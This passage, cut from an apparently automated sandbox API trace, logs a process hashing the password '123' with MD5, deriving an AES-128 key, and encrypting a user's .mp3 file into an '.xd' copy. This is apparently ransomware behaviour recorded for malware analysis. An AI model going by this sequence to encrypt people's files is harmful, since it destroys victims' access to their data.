hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.002] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.002] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.002] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.002] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.002] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.002] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.002] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.002] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.002] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.002] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.002] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.003] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.003] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.003] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.003] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.003] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.003] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.003] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.003] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.003] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.003] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.003] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.003] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.004] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.004] CryptCreateHash (in: hProv=0x17ab550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16296e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.004] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629640, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.004] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.004] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.005] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621888, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.005] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.008] CryptHashData (hHash=0x164c630, pbData=0x1629550, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.009] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.009] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.009] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.009] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.009] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.009] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.009] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.009] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.010] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.010] CryptDeriveKey (in: hProv=0x17ab550, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0064.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.010] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.010] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.010] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.010] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.011] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.011] CryptDestroyHash (hHash=0x164c630) returned 1 [0064.011] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.011] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.012] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\4c 4goekj7oqcfquqcj.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.012] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.012] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0064.012] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.012] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.012] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.012] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq")) returned 0x10 [0064.013] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\4c 4GOEKj7OqCFqUqcj.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\5rbcicujcoq\\4c 4goekj7oqcfquqcj.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0064.014] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.014] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.014] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.014] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.017] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.017] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xcc61, lpOverlapped=0x0) returned 1 [0064.018] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.021] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.021] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.022] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.022] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.022] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.022] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.022] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.022] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.022] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.022] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.023] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.023] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629560, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629560*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.023] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.023] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.023] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.023] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.023] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.023] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.023] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.024] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.024] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.024] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.024] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.024] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.024] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.024] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.024] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.024] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.025] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.026] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.026] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xcc61, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xcc70) returned 1 [0064.026] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.026] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.026] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.026] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.026] CharLowerBuffW (in: lpsz="byte[52337]", cchLength=0xb | out: lpsz="byte[52337]") returned 0xb [0064.026] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.027] PeekMessageW (in: 